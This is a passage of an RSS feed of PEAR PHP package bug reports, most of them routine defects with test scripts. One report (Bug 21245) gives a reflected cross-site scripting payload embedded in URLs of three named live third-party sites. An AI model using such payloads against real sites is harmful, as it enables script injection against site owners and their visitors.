Rather than searching for invalid characters it searches for valid characters

Test script:
---------------
require_once 'Net/IPv6.php';

$ip = '2001:4998:c:6d02::/64';

if (Net_IPv6::checkIPv6($ip)) {
	echo &quot;pass\n&quot;;
}


Expected result:
----------------
I expect no output.

Actual result:
--------------
I get &quot;pass.&quot;</pre>]]></description>
      <dc:date>2018-02-14T21:18:30+00:00</dc:date>
      <dc:creator>atoth &amp;#x61;&amp;#116; oath &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Net_IPv6 Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23736">
      <title>MDB2: Bug 23736 [Open] MDB2::execute() fails to bind value types</title>
      <link>http://pear.php.net/bugs/23736</link>
      <content:encoded><![CDATA[<pre>MDB2 Bug
Reported by stanbery
2018-02-09T17:21:43+00:00
PHP: Irrelevant OS: irrelevant Package Version: 2.4.1

Description:
------------
MDB2.php - Line 4059 (v2.4.1) - Line 4406 (v2.5.0b5)

function execute() calls bindValueArray() to attempt to bind types to 
values in the array; unfortunately, bindValueArray() defaults $types to 
null, and execute() never hands over the array of types.  This results in 
blob fields being returned as string, unfortunately.

Solution:  change line to read:
$err = $this-&gt;bindValueArray($values, $this-&gt;types);
This provides the necessary types for binding, which allows prepared 
queries for blobs to work as desired.

Test script:
---------------
$db = MDB2::connect($connectStr);
$dh = $db-&gt;prepare(&quot;insert into foo values (:data)&quot;, array(&quot;blob&quot;), MDB2_PREPARE_MANIP);
$dh-&gt;execute(array(&quot;data&quot; =&gt; &quot;file:///tmp/testfile&quot;));
$fh = fopen(&quot;foo.txt&quot;, &quot;wb&quot;);
$dh2 = $db-&gt;prepare(&quot;select data from foo&quot;, null, array(&quot;blob&quot;));
$rs = $dh2-&gt;execute(null);
$row = $rs-&gt;fetchRow(MDB2_FETCHMODE_ASSOC);
while (!feof($row['data']))
{
  $x = fread($row['data'], 8192);
  fwrite($fh, $x);
}
fclose($fh);

Expected result:
----------------
$row['data'] should be a resource type, not a string

Actual result:
--------------
$row['data'] is returned as a string</pre>]]></content:encoded>
      <description><![CDATA[<pre>MDB2 Bug
Reported by stanbery
2018-02-09T17:21:43+00:00
PHP: Irrelevant OS: irrelevant Package Version: 2.4.1

Description:
------------
MDB2.php - Line 4059 (v2.4.1) - Line 4406 (v2.5.0b5)

function execute() calls bindValueArray() to attempt to bind types to 
values in the array; unfortunately, bindValueArray() defaults $types to 
null, and execute() never hands over the array of types.  This results in 
blob fields being returned as string, unfortunately.

Solution:  change line to read:
$err = $this-&gt;bindValueArray($values, $this-&gt;types);
This provides the necessary types for binding, which allows prepared 
queries for blobs to work as desired.

Test script:
---------------
$db = MDB2::connect($connectStr);
$dh = $db-&gt;prepare(&quot;insert into foo values (:data)&quot;, array(&quot;blob&quot;), MDB2_PREPARE_MANIP);
$dh-&gt;execute(array(&quot;data&quot; =&gt; &quot;file:///tmp/testfile&quot;));
$fh = fopen(&quot;foo.txt&quot;, &quot;wb&quot;);
$dh2 = $db-&gt;prepare(&quot;select data from foo&quot;, null, array(&quot;blob&quot;));
$rs = $dh2-&gt;execute(null);
$row = $rs-&gt;fetchRow(MDB2_FETCHMODE_ASSOC);
while (!feof($row['data']))
{
  $x = fread($row['data'], 8192);
  fwrite($fh, $x);
}
fclose($fh);

Expected result:
----------------
$row['data'] should be a resource type, not a string

Actual result:
--------------
$row['data'] is returned as a string</pre>]]></description>
      <dc:date>2018-02-09T17:21:43+00:00</dc:date>
      <dc:creator>lls-pear &amp;#x61;&amp;#116; larrware &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>MDB2 Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/23735">
      <title>Date_Holidays: Bug 23735 [Open] Strict Standards errors shown</title>
      <link>http://pear.php.net/bugs/23735</link>
      <content:encoded><![CDATA[<pre>Date_Holidays Bug
Reported by mumbomedia
2018-01-23T10:42:30+00:00
PHP: Irrelevant OS: irrelevant Package Version: SVN

Description:
------------
The Classes use static functions that are not declared as public static.
Therefore calling Date_Holidays::factory(...) for example will lead to this 
error message.</pre>]]></content:encoded>
      <description><![CDATA[<pre>Date_Holidays Bug
Reported by mumbomedia
2018-01-23T10:42:30+00:00
PHP: Irrelevant OS: irrelevant Package Version: SVN

Description:
------------
The Classes use static functions that are not declared as public static.
Therefore calling Date_Holidays::factory(...) for example will lead to this 
error message.</pre>]]></description>
      <dc:date>2018-01-23T10:42:30+00:00</dc:date>
      <dc:creator>behling &amp;#x61;&amp;#116; mumbomedia &amp;#x64;&amp;#111;&amp;#x74; de</dc:creator>
      <dc:subject>Date_Holidays Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21257">
      <title>Auth_HTTP: Bug 21257 [Open] bug</title>
      <link>http://pear.php.net/bugs/21257</link>
      <content:encoded><![CDATA[<pre>Auth_HTTP Bug
Reported by anshul
2017-11-13T11:56:24+00:00
PHP: 5.6.26 OS: Window8.1 Package Version: 

Description:
------------
bug file

Test script:
---------------
ew

Expected result:
----------------
wew

Actual result:
--------------
ew</pre>]]></content:encoded>
      <description><![CDATA[<pre>Auth_HTTP Bug
Reported by anshul
2017-11-13T11:56:24+00:00
PHP: 5.6.26 OS: Window8.1 Package Version: 

Description:
------------
bug file

Test script:
---------------
ew

Expected result:
----------------
wew

Actual result:
--------------
ew</pre>]]></description>
      <dc:date>2017-11-13T11:56:24+00:00</dc:date>
      <dc:creator>smartmoneyind &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Auth_HTTP Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21251">
      <title>File_Bittorrent2: Bug 21251 [Open] undefined constant PAD_LEFT</title>
      <link>http://pear.php.net/bugs/21251</link>
      <content:encoded><![CDATA[<pre>File_Bittorrent2 Bug
Reported by cweiske
2017-10-21T20:11:54+00:00
PHP: HEAD SVN-2017-10-21 OS:  Package Version: 1.3.1

Description:
------------
On PHP 7.0.22 I get a warning using torrentinfo.php:

PHP Notice:  Use of undefined constant PAD_LEFT - assumed 'PAD_LEFT' in /usr/share/php/doc/File_Bittorrent2/torrentinfo.php on line 71

Same as bug #18399, just for File_Bittorrent2 not 1.</pre>]]></content:encoded>
      <description><![CDATA[<pre>File_Bittorrent2 Bug
Reported by cweiske
2017-10-21T20:11:54+00:00
PHP: HEAD SVN-2017-10-21 OS:  Package Version: 1.3.1

Description:
------------
On PHP 7.0.22 I get a warning using torrentinfo.php:

PHP Notice:  Use of undefined constant PAD_LEFT - assumed 'PAD_LEFT' in /usr/share/php/doc/File_Bittorrent2/torrentinfo.php on line 71

Same as bug #18399, just for File_Bittorrent2 not 1.</pre>]]></description>
      <dc:date>2017-10-21T20:11:54+00:00</dc:date>
      <dc:creator>cweiske &amp;#x61;&amp;#116; php &amp;#x64;&amp;#111;&amp;#x74; net</dc:creator>
      <dc:subject>File_Bittorrent2 Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21246">
      <title>File_MARC: Bug 21246 [Analyzed] File_MARC_Data_Field::deleteSubfield does not work as expected</title>
      <link>http://pear.php.net/bugs/21246</link>
      <content:encoded><![CDATA[<pre>File_MARC Bug
Reported by danmichaelo
2017-10-08T21:40:54+00:00
PHP: 5.6.31 OS: macOS 10.13 Package Version: 1.1.5

Description:
------------
Removing multiple subfields using deleteSubfield does not work as expected. 
The problem is that the method doesn't call $n-&gt;setPosition($pos) on the 
subfields that follow the removed field. I wasn't familiar with the 
SplDoublyLinkedList structure from before, but I tried cooking together a 
patch that at least solves my issue.

Test script:
---------------
require 'vendor/autoload.php';
require 'File/MARC/Data_Field.php';

$field = new File_MARC_Data_Field(650, [
        new File_MARC_Subfield('9', 'test1'),
        new File_MARC_Subfield('9', 'test2'),
        new File_MARC_Subfield('0', 'test3'),
        new File_MARC_Subfield('9', 'test4'),
]);

echo &quot;--- Before: ---\n$field\n\n&quot;;

foreach ($field-&gt;getSubfields('9') as $subfield) {
        echo &quot;Deleting subfield: $subfield\n&quot;;
        $field-&gt;deleteSubfield($subfield);
}

echo &quot;\n--- After: ---\n$field\n\n&quot;;

Expected result:
----------------
--- Before: ---
650    _9test1
       _9test2
       _0test3
       _9test4

Deleting subfield: [9]: test1
Deleting subfield: [9]: test2
Deleting subfield: [9]: test4

--- After: ---
650    _0test3


Actual result:
--------------
--- Before: ---
650    _9test1
       _9test2
       _0test3
       _9test4

Deleting subfield: [9]: test1
Deleting subfield: [9]: test2
Deleting subfield: [9]: test4

--- After: ---
650    _9test2
       _9test4</pre>]]></content:encoded>
      <description><![CDATA[<pre>File_MARC Bug
Reported by danmichaelo
2017-10-08T21:40:54+00:00
PHP: 5.6.31 OS: macOS 10.13 Package Version: 1.1.5

Description:
------------
Removing multiple subfields using deleteSubfield does not work as expected. 
The problem is that the method doesn't call $n-&gt;setPosition($pos) on the 
subfields that follow the removed field. I wasn't familiar with the 
SplDoublyLinkedList structure from before, but I tried cooking together a 
patch that at least solves my issue.

Test script:
---------------
require 'vendor/autoload.php';
require 'File/MARC/Data_Field.php';

$field = new File_MARC_Data_Field(650, [
        new File_MARC_Subfield('9', 'test1'),
        new File_MARC_Subfield('9', 'test2'),
        new File_MARC_Subfield('0', 'test3'),
        new File_MARC_Subfield('9', 'test4'),
]);

echo &quot;--- Before: ---\n$field\n\n&quot;;

foreach ($field-&gt;getSubfields('9') as $subfield) {
        echo &quot;Deleting subfield: $subfield\n&quot;;
        $field-&gt;deleteSubfield($subfield);
}

echo &quot;\n--- After: ---\n$field\n\n&quot;;

Expected result:
----------------
--- Before: ---
650    _9test1
       _9test2
       _0test3
       _9test4

Deleting subfield: [9]: test1
Deleting subfield: [9]: test2
Deleting subfield: [9]: test4

--- After: ---
650    _0test3


Actual result:
--------------
--- Before: ---
650    _9test1
       _9test2
       _0test3
       _9test4

Deleting subfield: [9]: test1
Deleting subfield: [9]: test2
Deleting subfield: [9]: test4

--- After: ---
650    _9test2
       _9test4</pre>]]></description>
      <dc:date>2017-12-04T09:55:30+00:00</dc:date>
      <dc:creator>danmichaelo &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>File_MARC Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21245">
      <title>PEAR_Frontend_Web: Bug 21245 [Open] xss reflected on pear package management system</title>
      <link>http://pear.php.net/bugs/21245</link>
      <content:encoded><![CDATA[<pre>PEAR_Frontend_Web Bug
Reported by lacrouteserge
2017-10-06T07:17:42+00:00
PHP: Irrelevant OS:  Package Version: 

Description:
------------
xss reflected on pear package management system


http://www.refreshltd.co.uk/index.php?command=info&amp;pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E
http://www.sagamicc.org/install/index.php?command=info&amp;pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E
http://funrunwalk.nz/pear/index.php?command=info&amp;pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E

Test script:
---------------
xss reflected on pear package management system


http://www.refreshltd.co.uk/index.php?command=info&amp;pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E
http://www.sagamicc.org/install/index.php?command=info&amp;pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E
http://funrunwalk.nz/pear/index.php?command=info&amp;pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E

Expected result:
----------------
view popup</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR_Frontend_Web Bug
Reported by lacrouteserge
2017-10-06T07:17:42+00:00
PHP: Irrelevant OS:  Package Version: 

Description:
------------
xss reflected on pear package management system


http://www.refreshltd.co.uk/index.php?command=info&amp;pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E
http://www.sagamicc.org/install/index.php?command=info&amp;pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E
http://funrunwalk.nz/pear/index.php?command=info&amp;pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E

Test script:
---------------
xss reflected on pear package management system


http://www.refreshltd.co.uk/index.php?command=info&amp;pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E
http://www.sagamicc.org/install/index.php?command=info&amp;pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E
http://funrunwalk.nz/pear/index.php?command=info&amp;pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E

Expected result:
----------------
view popup</pre>]]></description>
      <dc:date>2017-10-06T11:45:54+00:00</dc:date>
      <dc:creator>lacroutelacroute &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>PEAR_Frontend_Web Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21244">
      <title>Text_LanguageDetect: Bug 21244 [Open] Installing through PEAR yields &quot;data file can't be found&quot; error</title>
      <link>http://pear.php.net/bugs/21244</link>
      <content:encoded><![CDATA[<pre>Text_LanguageDetect Bug
Reported by mrpetovan
2017-10-02T18:27:15+00:00
PHP: Irrelevant OS: Debian Package Version: 1.0.0

Description:
------------
After a regular install with PEAR via Composer, the data file will be located 
in
/vendor/pear-pear.php.net/Text_LanguageDetect/data/lang.dat
but LanguageDetect will try
/vendor/pear-
pear.php.net/Text_LanguageDetect/data/Text_LanguageDetect/lang.dat
and fail.

There is no need to append &quot;Text_LanguageDetect/&quot; to the &quot;data_dir&quot; 
correctly set by PEAR.

I submitted the according Pull Request on GitHub: 
https://github.com/pear/Text_LanguageDetect/pull/4

Expected result:
----------------
The library finds the data file after install through PEAR

Actual result:
--------------
The LanguageDetect class appends an unnecessary &quot;Text_LanguageDetect/&quot; 
to the &quot;data_dir&quot; path constant.

Removing the string append fixes the problem.</pre>]]></content:encoded>
      <description><![CDATA[<pre>Text_LanguageDetect Bug
Reported by mrpetovan
2017-10-02T18:27:15+00:00
PHP: Irrelevant OS: Debian Package Version: 1.0.0

Description:
------------
After a regular install with PEAR via Composer, the data file will be located 
in
/vendor/pear-pear.php.net/Text_LanguageDetect/data/lang.dat
but LanguageDetect will try
/vendor/pear-
pear.php.net/Text_LanguageDetect/data/Text_LanguageDetect/lang.dat
and fail.

There is no need to append &quot;Text_LanguageDetect/&quot; to the &quot;data_dir&quot; 
correctly set by PEAR.

I submitted the according Pull Request on GitHub: 
https://github.com/pear/Text_LanguageDetect/pull/4

Expected result:
----------------
The library finds the data file after install through PEAR

Actual result:
--------------
The LanguageDetect class appends an unnecessary &quot;Text_LanguageDetect/&quot; 
to the &quot;data_dir&quot; path constant.

Removing the string append fixes the problem.</pre>]]></description>
      <dc:date>2017-10-02T18:27:15+00:00</dc:date>
      <dc:creator>ben &amp;#x64;&amp;#111;&amp;#x74; lort &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Text_LanguageDetect Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21243">
      <title>OLE: Bug 21243 [Open] small blocks (&quot;mini stream&quot;) handling is broken</title>
      <link>http://pear.php.net/bugs/21243</link>
      <content:encoded><![CDATA[<pre>OLE Bug
Reported by tacituseu
2017-09-26T15:12:16+00:00
PHP: Irrelevant OS: Any Package Version: 1.0.0RC3

Description:
------------
In OLE\ChainedBlockStream.php::stream_open() there is this:

if (isset($this-&gt;params['size']) &amp;&amp; $this-&gt;params['size'] &lt; $this-&gt;ole-
&gt;bigBlockThreshold &amp;&amp; $blockId != $this-&gt;ole-&gt;root-&gt;startBlock) {
		// Block id refers to small blocks
		$rootPos = $this-&gt;ole-&gt;_getBlockOffset($this-&gt;ole-&gt;root-
&gt;startBlock);
		while ($blockId != -2) {
				$pos = $rootPos + $blockId * $this-&gt;ole-
&gt;bigBlockSize;
				$blockId = $this-&gt;ole-&gt;sbat[$blockId];
				fseek($this-&gt;ole-&gt;_file_handle, $pos);
				$this-&gt;data .= fread($this-&gt;ole-&gt;_file_handle, 
$this-&gt;ole-&gt;bigBlockSize);

		}
}

Problems:
1. small blocks ([MS-CFB].pdf: &quot;mini stream&quot;) isn't a continuous space, 
but a stream itself:
$rootPos = $this-&gt;ole-&gt;_getBlockOffset($this-&gt;ole-&gt;root-&gt;startBlock);
will work only for simple documents that don't contain entries with size 
larger than $this-&gt;ole-&gt;bigBlockThreshold

what you want is in OLE.php::_readPpsWks():

$this-&gt;_list[] = $pps; 
if ($type == OLE_PPS_TYPE_ROOT) {
	$this-&gt;_small_handle = $this-&gt;getStream($pps-&gt;startBlock);
}
and then use it in point 2

Reference: [MS-CFB].pdf 2.6.1 Root Directory Entry

2. wrong block size used for fread
fread($this-&gt;ole-&gt;_file_handle, $this-&gt;ole-&gt;bigBlockSize);
should be:
fread($this-&gt;ole-&gt;_small_handle, $this-&gt;ole-&gt;smallBlockSize);

Test script:
---------------
$obj = new OLE();
$obj-&gt;read('ole.xls');
foreach ($obj-&gt;_list as $idx =&gt; $pps) if ($obj-&gt;isFile($idx)) {
  $dlen = $olz-&gt;getDataLength($idx);
  $data = $olz-&gt;getData($idx, 0, $dlen);
  var_dump($data);
}

Expected result:
----------------
data corresponding to given entry

Actual result:
--------------
data corresponding to given entry for some entries (up to first big block entry 
which breaks assumption of continuity for small stream)</pre>]]></content:encoded>
      <description><![CDATA[<pre>OLE Bug
Reported by tacituseu
2017-09-26T15:12:16+00:00
PHP: Irrelevant OS: Any Package Version: 1.0.0RC3

Description:
------------
In OLE\ChainedBlockStream.php::stream_open() there is this:

if (isset($this-&gt;params['size']) &amp;&amp; $this-&gt;params['size'] &lt; $this-&gt;ole-
&gt;bigBlockThreshold &amp;&amp; $blockId != $this-&gt;ole-&gt;root-&gt;startBlock) {
		// Block id refers to small blocks
		$rootPos = $this-&gt;ole-&gt;_getBlockOffset($this-&gt;ole-&gt;root-
&gt;startBlock);
		while ($blockId != -2) {
				$pos = $rootPos + $blockId * $this-&gt;ole-
&gt;bigBlockSize;
				$blockId = $this-&gt;ole-&gt;sbat[$blockId];
				fseek($this-&gt;ole-&gt;_file_handle, $pos);
				$this-&gt;data .= fread($this-&gt;ole-&gt;_file_handle, 
$this-&gt;ole-&gt;bigBlockSize);

		}
}

Problems:
1. small blocks ([MS-CFB].pdf: &quot;mini stream&quot;) isn't a continuous space, 
but a stream itself:
$rootPos = $this-&gt;ole-&gt;_getBlockOffset($this-&gt;ole-&gt;root-&gt;startBlock);
will work only for simple documents that don't contain entries with size 
larger than $this-&gt;ole-&gt;bigBlockThreshold

what you want is in OLE.php::_readPpsWks():

$this-&gt;_list[] = $pps; 
if ($type == OLE_PPS_TYPE_ROOT) {
	$this-&gt;_small_handle = $this-&gt;getStream($pps-&gt;startBlock);
}
and then use it in point 2

Reference: [MS-CFB].pdf 2.6.1 Root Directory Entry

2. wrong block size used for fread
fread($this-&gt;ole-&gt;_file_handle, $this-&gt;ole-&gt;bigBlockSize);
should be:
fread($this-&gt;ole-&gt;_small_handle, $this-&gt;ole-&gt;smallBlockSize);

Test script:
---------------
$obj = new OLE();
$obj-&gt;read('ole.xls');
foreach ($obj-&gt;_list as $idx =&gt; $pps) if ($obj-&gt;isFile($idx)) {
  $dlen = $olz-&gt;getDataLength($idx);
  $data = $olz-&gt;getData($idx, 0, $dlen);
  var_dump($data);
}

Expected result:
----------------
data corresponding to given entry

Actual result:
--------------
data corresponding to given entry for some entries (up to first big block entry 
which breaks assumption of continuity for small stream)</pre>]]></description>
      <dc:date>2018-10-23T09:16:24+00:00</dc:date>
      <dc:creator>tacituseu &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>OLE Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21241">
      <title>pearweb_gopear: Bug 21241 [Open] NOT ABLE TO GET PEAR</title>
      <link>http://pear.php.net/bugs/21241</link>
      <content:encoded><![CDATA[<pre>pearweb_gopear Bug
Reported by prashil117
2017-09-12T04:03:51+00:00
PHP: 5.6.31 OS: MAC OS Package Version: Unknown

Description:
------------
I HAVE TRIED TO GET PATH OF PEAR
BUT I AM NOT ABLE TO DO THAT
PLEASE HELP ME</pre>]]></content:encoded>
      <description><![CDATA[<pre>pearweb_gopear Bug
Reported by prashil117
2017-09-12T04:03:51+00:00
PHP: 5.6.31 OS: MAC OS Package Version: Unknown

Description:
------------
I HAVE TRIED TO GET PATH OF PEAR
BUT I AM NOT ABLE TO DO THAT
PLEASE HELP ME</pre>]]></description>
      <dc:date>2017-09-12T04:03:51+00:00</dc:date>
      <dc:creator>jollyprashil &amp;#x61;&amp;#116; GMAIL &amp;#x64;&amp;#111;&amp;#x74; COM</dc:creator>
      <dc:subject>pearweb_gopear Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21235">
      <title>File_MARC: Bug 21235 [Open] toXML arguments dont make sense</title>
      <link>http://pear.php.net/bugs/21235</link>
      <content:encoded><![CDATA[<pre>File_MARC Bug
Reported by surfrdan
2017-08-18T11:24:56+00:00
PHP: 5.5.38 OS:  Package Version: 1.1.5

Description:
------------
in the toXML() function within MARC/Record.php it strikes me that 
the argument $single should return a MARCXML document without 
the collection element but the reverse is true. Is this expected?</pre>]]></content:encoded>
      <description><![CDATA[<pre>File_MARC Bug
Reported by surfrdan
2017-08-18T11:24:56+00:00
PHP: 5.5.38 OS:  Package Version: 1.1.5

Description:
------------
in the toXML() function within MARC/Record.php it strikes me that 
the argument $single should return a MARCXML document without 
the collection element but the reverse is true. Is this expected?</pre>]]></description>
      <dc:date>2017-08-18T11:24:56+00:00</dc:date>
      <dc:creator>dof &amp;#x61;&amp;#116; llgc &amp;#x64;&amp;#111;&amp;#x74; org &amp;#x64;&amp;#111;&amp;#x74; uk</dc:creator>
      <dc:subject>File_MARC Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21234">
      <title>PhpDocumentor: Bug 21234 [Open] Strict standard violations</title>
      <link>http://pear.php.net/bugs/21234</link>
      <content:encoded><![CDATA[<pre>PhpDocumentor Bug
Reported by christianfriedl
2017-08-02T08:23:30+00:00
PHP: 5.6.30 OS: CentOS 6.8 Package Version: 1.4.4

Description:
------------
When running phpdoc, I see a lot of strict standards warnings, e.g.

PHP Strict standards:  Declaration of HTMLframesConverter::getPageLink() should be compatible with Converter::getPageLink($expr, $package, $path = false, $text = false, $packages = false) in /usr/share/pear/PhpDocumentor/phpDocumentor/Co
nverters/HTML/frames/HTMLframesConverter.inc on line 1881

PHP Strict standards:  Declaration of HTMLframesConverter::convertVar() should be compatible with Converter::convertVar(&amp;$element, $additions = Array) in /usr/share/pear/PhpDocumentor/phpDocumentor/Converters/HTML/frames/HTMLframesConver
ter.inc on line 1881

PHP Strict standards:  Declaration of HTMLframesConverter::convertFunction() should be compatible with Converter::convertFunction(&amp;$element, $addition = Array) in /usr/share/pear/PhpDocumentor/phpDocumentor/Converters/HTML/frames/HTMLfra
mesConverter.inc on line 1881</pre>]]></content:encoded>
      <description><![CDATA[<pre>PhpDocumentor Bug
Reported by christianfriedl
2017-08-02T08:23:30+00:00
PHP: 5.6.30 OS: CentOS 6.8 Package Version: 1.4.4

Description:
------------
When running phpdoc, I see a lot of strict standards warnings, e.g.

PHP Strict standards:  Declaration of HTMLframesConverter::getPageLink() should be compatible with Converter::getPageLink($expr, $package, $path = false, $text = false, $packages = false) in /usr/share/pear/PhpDocumentor/phpDocumentor/Co
nverters/HTML/frames/HTMLframesConverter.inc on line 1881

PHP Strict standards:  Declaration of HTMLframesConverter::convertVar() should be compatible with Converter::convertVar(&amp;$element, $additions = Array) in /usr/share/pear/PhpDocumentor/phpDocumentor/Converters/HTML/frames/HTMLframesConver
ter.inc on line 1881

PHP Strict standards:  Declaration of HTMLframesConverter::convertFunction() should be compatible with Converter::convertFunction(&amp;$element, $addition = Array) in /usr/share/pear/PhpDocumentor/phpDocumentor/Converters/HTML/frames/HTMLfra
mesConverter.inc on line 1881</pre>]]></description>
      <dc:date>2017-08-02T08:23:30+00:00</dc:date>
      <dc:creator>cf &amp;#x61;&amp;#116; christian-friedl &amp;#x64;&amp;#111;&amp;#x74; info</dc:creator>
      <dc:subject>PhpDocumentor Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21232">
      <title>Net_IPv6: Feature/Change Request 21232 [Assigned] Submit to packagist.org</title>
      <link>http://pear.php.net/bugs/21232</link>
      <content:encoded><![CDATA[<pre>Net_IPv6 Feature/Change Request
Reported by murraytony
2017-07-27T16:04:44+00:00
PHP: Irrelevant OS: Linux Package Version: Unknown

Description:
------------
pear/Net_IPv4 is on packagist.org, but pear/Net_IPv6 is not.

Can you please add it so this package can be pulled in via 
composer?</pre>]]></content:encoded>
      <description><![CDATA[<pre>Net_IPv6 Feature/Change Request
Reported by murraytony
2017-07-27T16:04:44+00:00
PHP: Irrelevant OS: Linux Package Version: Unknown

Description:
------------
pear/Net_IPv4 is on packagist.org, but pear/Net_IPv6 is not.

Can you please add it so this package can be pulled in via 
composer?</pre>]]></description>
      <dc:date>2017-07-27T20:42:46+00:00</dc:date>
      <dc:creator>murraytony &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Net_IPv6 Feature/Change Request</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21226">
      <title>Numbers_Words: Bug 21226 [Verified] es_AR</title>
      <link>http://pear.php.net/bugs/21226</link>
      <content:encoded><![CDATA[<pre>Numbers_Words Bug
Reported by harlyman
2017-07-06T12:42:20+00:00
PHP: 5.6.30 OS: Debian Package Version: 0.18.1

Description:
------------
mejoras en el manejo de valores terminados en uno en los 
decimales
function _toWords($num, $power = 0, $powerDec = false) {

...

case 2:
                if ($d == 0) {
                    $ret .= $this-&gt;_sep . 'veinte';
                } else {
                    if ((($power &gt; 1) and ( $d == 1)) or ($powerDec 
and $d == 1)) {
                        $ret .= $this-&gt;_sep . 'veintiÃºn';
                    } else {
                        $ret .= $this-&gt;_sep . 'veinti' . $this-
&gt;_digits[$d];
                    }
                }
                break;

...

// add digits only if it is a multiple of 10 and not 1x or 2x
        if (($t != 1) and ( $t != 2) and ( $d &gt; 0)) {

            // don't add 'y' for numbers below 10
            if ($t != 0) {
                // use 'un' instead of 'uno' when there is a suffix 
('mil', 'millones', etc...)
                if (($power &gt; 0) and ( $d == 1) or ($powerDec and 
$d == 1)) {
                    $ret .= $this-&gt;_sep . ' y un';
                } else {
                    $ret .= $this-&gt;_sep . 'y ' . $this-&gt;_digits[$d];
                }
            } else {
                if (($power &gt; 0) and ( $d == 1) or ($powerDec and 
$d == 1)) {
                    $ret .= $this-&gt;_sep . 'un';
                } else {
                    $ret .= $this-&gt;_sep . $this-&gt;_digits[$d];
                }
            }
        }

Test script:
---------------
$ntl = new NumerosLetras();
echo $ntl-&gt;toCurrency(41531321021.21, &quot;es_AR&quot;);

Expected result:
----------------
Pesos cuarenta y un mil quinientos treinta y un millones 
trescientos veintiÃºn mil veintiuno con veintiÃºn centavos

Actual result:
--------------
Pesos cuarenta y un mil quinientos treinta y un millones 
trescientos veintiÃºn mil veintiuno con veintiuno centavos</pre>]]></content:encoded>
      <description><![CDATA[<pre>Numbers_Words Bug
Reported by harlyman
2017-07-06T12:42:20+00:00
PHP: 5.6.30 OS: Debian Package Version: 0.18.1

Description:
------------
mejoras en el manejo de valores terminados en uno en los 
decimales
function _toWords($num, $power = 0, $powerDec = false) {

...

case 2:
                if ($d == 0) {
                    $ret .= $this-&gt;_sep . 'veinte';
                } else {
                    if ((($power &gt; 1) and ( $d == 1)) or ($powerDec 
and $d == 1)) {
                        $ret .= $this-&gt;_sep . 'veintiÃºn';
                    } else {
                        $ret .= $this-&gt;_sep . 'veinti' . $this-
&gt;_digits[$d];
                    }
                }
                break;

...

// add digits only if it is a multiple of 10 and not 1x or 2x
        if (($t != 1) and ( $t != 2) and ( $d &gt; 0)) {

            // don't add 'y' for numbers below 10
            if ($t != 0) {
                // use 'un' instead of 'uno' when there is a suffix 
('mil', 'millones', etc...)
                if (($power &gt; 0) and ( $d == 1) or ($powerDec and 
$d == 1)) {
                    $ret .= $this-&gt;_sep . ' y un';
                } else {
                    $ret .= $this-&gt;_sep . 'y ' . $this-&gt;_digits[$d];
                }
            } else {
                if (($power &gt; 0) and ( $d == 1) or ($powerDec and 
$d == 1)) {
                    $ret .= $this-&gt;_sep . 'un';
                } else {
                    $ret .= $this-&gt;_sep . $this-&gt;_digits[$d];
                }
            }
        }

Test script:
---------------
$ntl = new NumerosLetras();
echo $ntl-&gt;toCurrency(41531321021.21, &quot;es_AR&quot;);

Expected result:
----------------
Pesos cuarenta y un mil quinientos treinta y un millones 
trescientos veintiÃºn mil veintiuno con veintiÃºn centavos

Actual result:
--------------
Pesos cuarenta y un mil quinientos treinta y un millones 
trescientos veintiÃºn mil veintiuno con veintiuno centavos</pre>]]></description>
      <dc:date>2017-07-07T12:16:09+00:00</dc:date>
      <dc:creator>harlyman &amp;#x64;&amp;#111;&amp;#x74; facebook &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Numbers_Words Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/21225">
